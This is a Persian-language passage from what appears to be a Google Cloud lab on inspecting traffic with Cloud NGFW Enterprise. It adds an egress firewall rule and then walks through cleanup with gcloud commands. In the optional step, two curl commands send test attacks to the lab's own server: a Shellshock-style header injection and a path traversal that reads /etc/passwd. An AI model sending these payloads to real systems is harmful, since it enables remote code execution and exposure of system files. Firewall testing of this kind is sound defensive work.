به بازرسی ترافیک اینترنت (اختیاری) ادامه دهید یا جلسه SSH را ببندید و برای مراحل پاکسازی به فصل بعدی بروید.

[اختیاری] بازرسی ترافیک اینترنت

همانطور که در بخش قبل تأیید شد، جریان‌های بررسی‌شده تا کنون، ترافیک درون زیرشبکه/VPC (شرق-غرب) و ترافیک ورودی از اینترنت (ورودی شمال-جنوب) است. همچنین می‌توان Cloud NGFW Enterprise را برای بازرسی کل ترافیک اینترنت (خروجی شمال-جنوب) با ایجاد یک قانون خروج جدید با استفاده از Cloud Shell پیکربندی کرد:

gcloud compute network-firewall-policies rules create 10000 \
   --description "inspect all egress internet traffic from clients" \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --global-firewall-policy \
   --layer4-configs=tcp:80,tcp:443 \
   --direction=EGRESS \
   --dest-ip-ranges=0.0.0.0/0 \
   --enable-logging \
   --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

به VM مشتری برگردید و حملات با شدت بالا را مجدداً به IP سرور خارجی ارسال کنید:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

خروجی مورد انتظار:

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3001 milliseconds with 0 bytes received

برای تأیید گزارش‌ها، به تب Threats در Cloud Console بروید (ممکن است لازم باشد چند بار بازخوانی کنید). حملات باید دوباره شناسایی و ثبت می شدند، اما اکنون IP منبع داخلی است زیرا ابتدا یک قانون خروج فعال می شود:

36f8edf264dcddcd.png

جلسه SSH را ببندید و برای مراحل پاکسازی به بخش بعدی بروید.

8. مراحل پاکسازی

Cloud NGFW Enterprise Components Clean-Up

انجمن های موجود در Cloud NGFW Enterprise را فهرست کنید:

gcloud network-security firewall-endpoint-associations list

انجمن Cloud NGFW Enterprise را حذف کنید:

gcloud network-security firewall-endpoint-associations delete \
   $prefix-association --zone $zone
gcloud network-security firewall-endpoint-associations list

نقاط پایانی Cloud NGFW Enterprise موجود را فهرست کنید:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

نقطه پایانی Cloud NGFW Enterprise را حذف کنید، که ممکن است حدود 20 دقیقه طول بکشد:

gcloud -q network-security firewall-endpoints delete \
   $org_prefix-$zone --zone=$zone --organization $org_id

با اجرای دستور زیر تأیید کنید که Cloud NGFW Enterprise حذف شده است:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

گروه نمایه امنیتی و نمایه پیشگیری از تهدید را حذف کنید:

gcloud -q network-security security-profile-groups delete \
  $org_prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

پاکسازی راه اندازی پایه

اگر ترجیح می دهید منابع پایه را حذف کنید، به مرحله بعدی بروید.

در صورت نیاز متغیرهای محیط را تعریف کنید. از Cloud Shell، اجزای Network Load Balancer را حذف کنید:

gcloud -q compute forwarding-rules delete $prefix-nlb-ipv4 --region $region

gcloud -q compute backend-services delete $prefix-nlb-bes --region $region

gcloud -q compute health-checks delete $prefix-$region-hc-http80 --region $region

gcloud -q compute instance-groups unmanaged delete $prefix-ig --zone $zone

حذف نمونه ها:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

در صورت تغییر نقش tagAdmin و tagUsers، به صورت اختیاری، مراحل زیر را انجام دهید:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

حذف کلید و مقادیر برچسب:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

خط‌مشی و ارتباط شبکه فایروال ابری را حذف کنید:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

Cloud Router و Cloud NAT را حذف کنید:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

آدرس های IP رزرو شده را حذف کنید:

gcloud -q compute addresses delete $prefix-$region-nlbip --region=$region

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

در نهایت زیر شبکه و شبکه VPC را حذف کنید:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

9. تبریک می گویم!

تبریک می‌گوییم، شما Cloud NGFW Enterprise for East-West and North-South Inspection را با موفقیت تکمیل کردید.